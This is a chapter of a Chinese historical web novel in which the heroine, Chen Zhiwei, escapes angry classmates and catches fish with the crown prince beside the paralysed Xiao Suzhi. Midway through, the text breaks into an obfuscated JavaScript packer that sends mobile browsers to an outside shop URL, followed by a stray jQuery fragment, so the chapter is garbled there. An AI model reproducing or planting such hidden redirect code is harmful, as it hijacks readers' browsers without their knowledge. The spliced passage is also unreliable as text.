陈知微昨天从清远书院溜走的时候绝没有想到今天会被程小蝶她们追着打。
陈知微抱头鼠窜,回头呐喊:“我比你们都年长,你们这样不尊老,简直有违礼义廉耻!”
程小蝶个子矮跑得最快,一张包子脸捻在陈知微后头跑得通红。
“你为老不尊,哪有把烂摊子扔给别人的,你知道昨天韩夫子说什么吗?”
程小蝶气喘吁吁地喊:“他说找不到你这个罪魁祸首就让我们所有人都罚抄四书五经!”
以尚书之女为首的体力次之的大部队跟在后面补充:“陈知微你个杀千刀的,抄得我们的手腕都抽筋了!”
她们简直泪流满面,原本以为陈知微是个傻子,没想到真正傻的是她们,陈知微猴精猴精的,知道惹了祸就跑,她们却傻傻找了陈知微一圈又一圈。
陈灵抱着陈知微的袍子在后面捂着嘴笑。
程小蝶经过她恨恨地瞪了一眼:“你就当你的小跟班吧!抄书抄得那么乐意还给陈知微也抄一份!”
陈灵但笑不语。
夫子们看见了也不管这边的追逐戏,反而笑着道:“你看她们多活泼,以后哪有这样轻松肆意的时光呢。”
陈知微求饶:“求求你们别追了,我错了,我请你们吃点心,我给你们买金银钗!”
她一边求饶,一边飞快地绕过树木石头。
程小蝶早就追累了,最先停下,呸道:“谁稀罕你的金银。点心得要最好的醉香楼里的点心。”
陈知微连连点头,将自己身上的银子都拿出来,还问陈灵借了些才凑足钱给书童让他帮自己跑腿。
眼见着终于将人给安抚了,陈知微擦了擦汗。
这群姑娘们平时看着柔柔弱弱,弱柳扶风互相之间还常看不顺眼的样子,哪成想同仇敌忾起来竟然如此可怕!
陈灵递了个帕子给她。
陈知微搂着陈灵的腰哀嚎:“灵灵还是你对我好,呜呜呜——”
陈灵又将一张纸递给她:“表姐,这是大公子要的文章,你今天记得给他。”
陈知微给陈灵递了个飞吻。
她成功的路上绝少不了陈灵的汗马功劳。
今日时间尚早。
陈知微又踩着画缸爬上了墙头。
本以为总该碰上侯夫人一次了。
哪想到又一次扑空,萧肃之身边坐着一个小公子,约莫十二三岁的年纪,个子挺矮,手里拿着鱼食。
在他的播撒下,池子里的锦鲤都浮出水面争抢鱼食。
他还回头朝萧肃之道:“表哥池子里的鱼多久没喂了,一个个饿虎扑食似的。”
萧肃之眉眼闲适:“是啊,一个时辰没喂他们就要饿死了,不然太子殿下日日在这里看守喂食吧,我替这些蠢鱼谢谢你。”
小公子一笑:“不客气,表哥只要肯招待,我不止伺候鱼,还可以伺候你。”
“去去去,你是吞金兽,还是吃皇粮去吧,我养不起。”
荣安侯与当今皇上是表兄弟,荣安侯时常进宫,便会将萧肃之一同带去。
太子出生后,与他的亲兄弟都不甚亲近,反而同圣上一般,与这个表兄很是亲密,二人一同在大殿内狂奔,满殿侍女太监只能护着,无一人敢拦。
偶尔遇到来面圣的大臣,还得被他们两个拦住盘问是做什么来了,皇上就那样宠溺笑着看他们玩乐。
萧肃之蒙难后,最伤心的除了他母亲,当属这位小太子了。哭哭啼啼求着圣上允他出宫陪伴没了腿的表兄,圣上只能擦着他的眼泪哄他:不是没了腿,只是暂时走不了路了。
小太子便坚信,表兄腿还在,一定还能陪他一同骑马玩耍的。
萧肃之调笑完太子,抬眼,某个爬墙的花猫又来了。
陈知微对上那双狭长幽深的眼睛,懒懒地摇了摇手。
她的视线停留在小公子的怀里,一只长毛白猫窝在他的怀里不停甩尾巴,异色双瞳盯着水里的鱼看。
波斯猫!
她以前就养过一只猫,后来她没有办法照顾她了,只能让她妈把猫送给领养家庭了。
后来搬出高层小区后,她就再也没见过那只猫了。
她的那只猫也是异瞳,叫蛮蛮。
小公子似乎对视线非常敏感,立刻往陈知微这边看。
陈知微也没打算跑,还懒懒地冲他也挥了挥手,脸上露出个大大的笑。
太子皱眉,立刻看向表哥。
萧肃之对他道:“喂你的鱼。”
“太大胆了!”太子低喝:“表哥怎能让人这样日日窥伺你?!”
他从萧肃之没什么反应的表现立刻得知这绝不是第一次,他这表哥甚至面不改色,无动于衷。
萧肃之冲他冷笑:“看我又不是看你,管那么宽。”
太子瘪了瘪嘴,半天道:“大胆!本宫是太子!”
“哦。”萧肃之道:“太子殿下,草民冒犯了,这里庙小,容不下太子这尊大佛,还是早点离开吧。”
“你撵我走!”太子迅速起身,掐了萧肃之胳膊一把。
萧肃之痛哼一声:“耍威风耍我这了。”
太子又给他吹吹。
陈知微跟看默剧似的,虽然听不清他们在说什么,还是看出来这两人关系挺好。
趁着没人管猫,陈知微“咪咪咪咪”地唤。
那猫耳朵尖,往陈知微这边看,好一会才打算迈腿,下一秒就被太子抄在怀里。
太子还瞪了陈知微一眼。
“她到底是谁?有何企图?”太子追问。
萧肃之看着墙头上已经利落准备翻墙的陈知微。
悠悠道:“工部右侍郎之女。”
太子讶异:“陈侍郎家的傻女?”
陈侍郎的女儿在朝堂上始终是个热门话题,能揶揄得陈侍郎埋头不说话。众人都知道他最大的软肋就在此,因此常有人猜测,他这个傻女儿最终能不能顺利嫁出去,嫁到哪去。
太子没想到今天就能遇见这个传说中的人物。
萧肃之看着陈知微越走越近,吐息:“不然还有谁那么大胆呢……”
陈知微十分不客气地坐在凉亭凳子上,冲小公子道:“你跟这小侯爷长那么像,是兄弟?”
太子抱着猫只上下打量她不说话。
萧肃之却说:“眼神挺好。”
太子终于开口,语气古怪:“你与我表哥很熟?”
“你是他表弟啊,”陈知微立刻回道:“不熟。”
萧肃之用鼻子轻哼了下。
“那你为何要趴在墙上往这里窥伺?”太子直白问。
陈知微想了想:“我见这池子里的鱼分外好看,想多看看。”
她原先只顾着看猫去了,没注意到这小公子年纪小小就束发戴金冠,虽然只穿着寻常衣裳,无论是气质还是说话都与寻常孩童很不一样。
看陈知微的眼神也斜斜睨视,从不仰头。
这里是侯府的地盘,气派比小侯爷更盛的,除了位置更高的,陈知微完全不作他想。
自然知道不能乱说话。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772246|208184||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
萧肃之呵呵了一声。
太子知道隔壁是女子书院,却从未去过,闻言好奇问询:“清远书院无池鱼?”
陈知微老实道:“有,池子小,鱼小杂且少。”
太子闻言立刻挺了挺胸堂:“自然,我表哥这鱼池里的鱼苗是我精挑细选的各色彩鲤,京城里再也没有这样多且肥硕的鱼儿了!”
陈知微看了眼池子:“那有金鲤吗?听说金鲤入户,旺财添福呢。”
太子看向萧肃之。
萧肃之两手一摊:“不知道。”
太子皱眉:“我从未见过。”
陈知微蠢蠢欲动:“这么多锦鲤,连白鲤鱼都有,说不定也有金鲤呢!”
太子也被她说得心动了,不停地瞅池子。
他的波斯猫趴在水边慵懒地够鱼的嘴巴,陈知微趁机摸了好几把。
萧肃之精神不太好,话说得不多,只眼神瞅着他们。
不一会后,池子里多了两个身影。
太子的金线黑靴和陈知微的粉色浅口鞋并排摆在萧肃之竹椅旁边,整整齐齐的,波斯猫不知道什么时候跳上了萧肃之的胸口窝了下去。
池子是圆形的,里面则是梯形,太子站在最浅的池边搅动池水,拦出来一个无鱼的空间。
陈知微将裤腿挽到膝盖上,站在比太子更深的地方,撸袖子摸鱼。
她摸上来一个,太子就道:“不是金的!”
然后放进太子圈养的小鱼塘里。
就这样摸了十条八条,没出一个金。到了最后,两个人已经不为金鲤而来了,似乎立志把每一只鱼都摸个遍一般。
玩得不亦乐乎。
等鱼已经挤得再也放不下了太子撤开围挡,他们两个一起长大嘴巴看鱼群归海。
再看萧肃之,他已经和猫头抵头歪着眉头紧锁地睡着了。
陈知微蹑手蹑脚地从他身边把鞋拿过来,与猫的眼睛对视还竖起来手指示意它噤声。
那猫极通人性,不叫也不动。
陈知微笑了笑,用口型叫了声“团团”。
太子提上鞋,似乎觉得之前太过幼稚,却还是问陈知微:“真的有金鲤吗?我从未见过呢。”
陈知微想起现代金鲤似乎都是人工培育,并且野生金鲤据说是一种基因突变。
便给了他一个模糊的答案:“我小时候似乎见过,那金鲤通体金黄,鳞片像金子,闪闪发光,不过也许是我梦中所见也说不定。”
小太子若有所思。
他看了一眼萧肃之:“表哥太困了,他每天晚上睡不着,只好白天补眠。我要离开了,不叫他了。”
“为什么晚上睡不着?”
太子痛惜道:“白日里没有感觉的腿在夜晚会剧烈疼痛,麻痒,他便无法入睡。”
陈知微屏住气息,她知道这种感觉是中枢性神经痛。
截肢会出现幻肢痛,瘫痪后感知的疼痛是一种神经性疼痛,双腿瘫痪后没有感觉的腿存在感突然放大,变得疼痛灼热,那是一种深入骨髓的痛感,难以排解。
为了省药钱,她也曾在无数个夜晚辗转难眠,咬着牙忍住不去抓挠按压,怕白天她妈给她按摩的时候发现痕迹,往往忍得眼底血丝崩裂。
她便说是熬夜玩手机玩的,白天去补觉。
陈知微叹息。
这里没有效果好的止痛药,只能靠他自己挺过去。
太子离开后,陈知微在这里耽搁了太长时间,她听到陈灵喊表姐的声音。
轻手轻脚翻墙过去了。